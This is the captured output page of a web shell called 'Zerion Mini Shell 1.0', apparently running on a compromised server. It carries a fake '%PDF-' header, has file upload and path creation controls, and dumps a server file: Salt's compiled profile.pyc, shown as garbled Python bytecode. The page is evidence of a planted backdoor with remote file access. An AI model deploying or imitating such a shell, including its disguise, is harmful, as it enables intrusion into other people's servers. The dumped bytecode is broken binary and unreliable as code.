%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/utils/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/utils/profile.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddlZddl	Z	ddl
ZddlZddl
ZddlZeje�ZyddlZeZWnek
r�eZnXdd�Zed�Zdedd�ZdS(u8
Decorator and functions to profile Salt using cProfile
i(tabsolute_importtprint_functiontunicode_literalsNc@s�fd�}|S(uE
    Decorator for adding profiling to a nested function in Salt
    c@s��fd�}|S(Nc@stjd�j�yDtj�}|j�||�}|j�pRdj�j��Wn!tk
rztj	d��nX|S(NuProfiling function %su{0}_func.profileuCould not open profile file %s(
tloggingtinfot__name__tcProfiletProfiletruncallt
dump_statstformattIOErrort	exception(targstkwargstprofilertretval(tfilenametfun(s6/usr/lib/python2.7/site-packages/salt/utils/profile.pyt
profiled_func#s
((RR(R(Rs6/usr/lib/python2.7/site-packages/salt/utils/profile.pytproffunc"s((RR((Rs6/usr/lib/python2.7/site-packages/salt/utils/profile.pytprofile_funcs
cC@s?d}|r;tr+tj�}|j�q;tjd�n|S(Nu*cProfile is not available on your platform(tNonetHAS_CPROFILERRtenabletlogterror(ttesttpr((s6/usr/lib/python2.7/site-packages/salt/utils/profile.pytactivate_profile2s
u
/tmp/statsc

C@s�|dk	r�tr�zn|j�tjj|�sAtj|�ntjj�j	�}|dkr}t
jjj
dd�}ntjj|dj||��}tjj|dj||��}tjj|dj||��}tjj|�s?|j|�t
jjj|d��#}tj|d|�jd�WdQXntjd	|�tjd
|�t
jjjd�}	|	d|d
|g}
|	rot}y+tj|
dtdtjdtj�}Wntk
r�t}nX|j r�t}n|rtj!d�ntjd|�tj"d�tj"t
jj#j$|j%j&��j'�t
jj#j$|j(j&��j'��ntjd|
�Wd|s�|j)�nXn|S(Ntsizei u{0}.{1}.pstatsu{0}.{1}.dotu
{0}.{1}.statsuwtstreamu
cumulativeuPROFILING: %s generatedu$PROFILING (cumulative): %s generatedupyprof2calltreeu-iu-otshelltstdouttstderruPROFILING (dot problemuPROFILING (dot): %s generatedupyprof2calltree output:u$You can run %s for additional stats.(*RRtdisabletostpathtisdirtmakedirstdatetimetnowt	isoformattsalttutilst	hashutilstrandom_hashtjoinR
texistsR	tfilestfopentpstatstStatst
sort_statsRRtwhichtFalset
subprocesstPopentPIPEtOSErrortTruet
returncodeRttracetstringutilstto_strR!treadtstripR"R(
Rt
stats_pathtstoptid_tdatetficptficotficntfictpyproftcmdtfailedtpro((s6/usr/lib/python2.7/site-packages/salt/utils/profile.pytoutput_profile=sN
!!!
%

		
')(t__doc__t
__future__RRRR(RR$R3R8tsalt.utils.filesR+tsalt.utils.hashutilstsalt.utils.pathtsalt.utils.stringutilst	getLoggerRRRR<RtImportErrorR7RRRRO(((s6/usr/lib/python2.7/site-packages/salt/utils/profile.pyt<module>s&




Zerion Mini Shell 1.0